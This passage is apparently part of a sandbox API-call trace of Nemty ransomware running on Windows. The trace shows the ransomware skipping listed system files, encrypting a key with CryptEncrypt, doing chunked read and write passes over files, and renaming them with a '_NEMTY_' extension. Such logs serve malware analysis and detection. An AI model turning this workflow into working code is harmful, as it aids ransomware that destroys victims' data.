lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.310] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.323] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.323] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.324] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.324] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340100, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0068.324] CloseHandle (hObject=0xffffffff) returned 0 [0068.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0068.324] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0068.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0068.324] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0068.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0068.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0068.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0068.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0068.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0068.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0068.324] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_content-background.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_content-background.png._nemty_kgobjgd_")) returned 0 [0068.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0068.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0068.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0068.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0068.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0068.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0068.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0068.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0068.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0068.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0068.324] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710b1352, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710b1352, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4f7a, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="scrapbook.png", cAlternateFileName="")) returned 1 [0068.325] lstrcmpiW (lpString1="scrapbook.png", lpString2=".") returned 1 [0068.325] lstrcmpiW (lpString1="scrapbook.png", lpString2="..") returned 1 [0068.325] lstrcmpiW (lpString1="scrapbook.png", lpString2="...") returned 1 [0068.325] lstrcmpiW (lpString1="scrapbook.png", lpString2="windows") returned -1 [0068.325] lstrcmpiW (lpString1="scrapbook.png", lpString2="$RECYCLE.BIN") returned 1 [0068.325] lstrcmpiW (lpString1="scrapbook.png", lpString2="rsa") returned 1 [0068.325] lstrcmpiW (lpString1="scrapbook.png", lpString2="NTDETECT.COM") returned 1 [0068.325] lstrcmpiW (lpString1="scrapbook.png", lpString2="ntldr") returned 1 [0068.325] lstrcmpiW (lpString1="scrapbook.png", lpString2="MSDOS.SYS") returned 1 [0068.325] lstrcmpiW (lpString1="scrapbook.png", lpString2="IO.SYS") returned 1 [0068.325] lstrcmpiW (lpString1="scrapbook.png", lpString2="boot.ini") returned 1 [0068.325] lstrcmpiW (lpString1="scrapbook.png", lpString2="boot.ini") returned 1 [0068.325] lstrcmpiW (lpString1="scrapbook.png", lpString2="AUTOEXEC.BAT") returned 1 [0068.325] lstrcmpiW (lpString1="scrapbook.png", lpString2="ntuser.dat") returned 1 [0068.325] lstrcmpiW (lpString1="scrapbook.png", lpString2="desktop.ini") returned 1 [0068.325] lstrcmpiW (lpString1="scrapbook.png", lpString2="CONFIG.SYS") returned 1 [0068.325] lstrcmpiW (lpString1="scrapbook.png", lpString2="RECYCLER") returned 1 [0068.325] lstrcmpiW (lpString1="scrapbook.png", lpString2="BOOTSECT.BAK") returned 1 [0068.325] lstrcmpiW (lpString1="scrapbook.png", lpString2="bootmgr") returned 1 [0068.325] lstrcmpiW (lpString1="scrapbook.png", lpString2="programdata") returned 1 [0068.325] lstrcmpiW (lpString1="scrapbook.png", lpString2="appdata") returned 1 [0068.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0068.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="scrapbook.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0068.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="scrapbook.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="scrapbook.png", lpUsedDefaultChar=0x0) returned 13 [0068.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0068.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="scrapbook.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0068.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="scrapbook.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="scrapbook.png", lpUsedDefaultChar=0x0) returned 13 [0068.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0068.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0068.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0068.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="scrapbook.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0068.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="scrapbook.png", cchWideChar=13, lpMultiByteStr=0x653ec20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="scrapbook.png", lpUsedDefaultChar=0x0) returned 13 [0068.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0068.325] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0068.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="scrapbook.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0068.325] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="scrapbook.png", cchWideChar=13, lpMultiByteStr=0x653ec58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="scrapbook.png", lpUsedDefaultChar=0x0) returned 13 [0068.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0068.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0068.326] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0068.326] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0068.326] Sleep (dwMilliseconds=0x5) [0068.341] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdc61ac90, dwHighDateTime=0x1d561e7)) [0068.341] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdc61ac90, dwHighDateTime=0x1d561e7)) [0068.341] GetLastError () returned 0x5 [0068.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0068.342] GetLastError () returned 0x5 [0068.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0068.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0068.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0068.342] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0068.342] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0068.342] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0068.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0068.342] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="JHHdfTKMl5UIcGIpaeit0BWlzPwQuu+k8fPp8xbO5KU8IkNSucyB8ZmcQwioc5n7\r\nP4G2mori+Aoo0vyfN4k+hGF63BUt2lDn9C3xECArSj7VXyZari4jnV+OKhNTnbnG\r\nl7dPzAefivSboGck6M/rKupyWMKganHRDTMaG7ThhtgAS/4a8sGrZWSQXVsbZVF7\r\nYqEI8MdgkDh9NtL51d9nw5c5d8d4dkiRmbEiPtfwCLyQ8ni1J8k5F933l9RoNx2K\r\nnTzco51GdAZq1weyy8EsdTEHsV7pEL5YXAHQEiBnYR3RcWHNnwUuECSpnkFH7qyo\r\nEPQ6nFX3a4Y8FV4fQ8W2VQ==\r\n", pcchString=0x653e91c) returned 1 [0068.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0068.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0068.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0068.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0068.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0068.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0068.342] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\scrapbook.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0068.342] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0068.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0068.342] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.342] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.352] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.352] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.352] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.352] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.361] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.361] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.361] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.361] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.370] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.371] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.371] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.371] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.380] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.380] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.380] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.380] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.389] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.389] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.390] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.390] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.399] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.399] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.399] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.399] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.408] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.408] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.409] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.409] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.418] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.418] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.418] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.418] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.427] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.427] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.427] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.427] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.437] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.437] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.437] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.437] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.442] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.443] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.443] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.443] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0068.448] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.448] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.449] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0068.449] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0068.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0068.449] CloseHandle (hObject=0xffffffff) returned 0 [0068.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0068.449] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0068.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0068.449] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0068.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0068.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0068.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0068.449] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x4f94328 [0068.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0068.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0068.449] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\scrapbook.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\scrapbook.png._nemty_kgobjgd_")) returned 0 [0068.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0068.449] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0068.449] HeapFree (in: hHeap=0x4f90000, 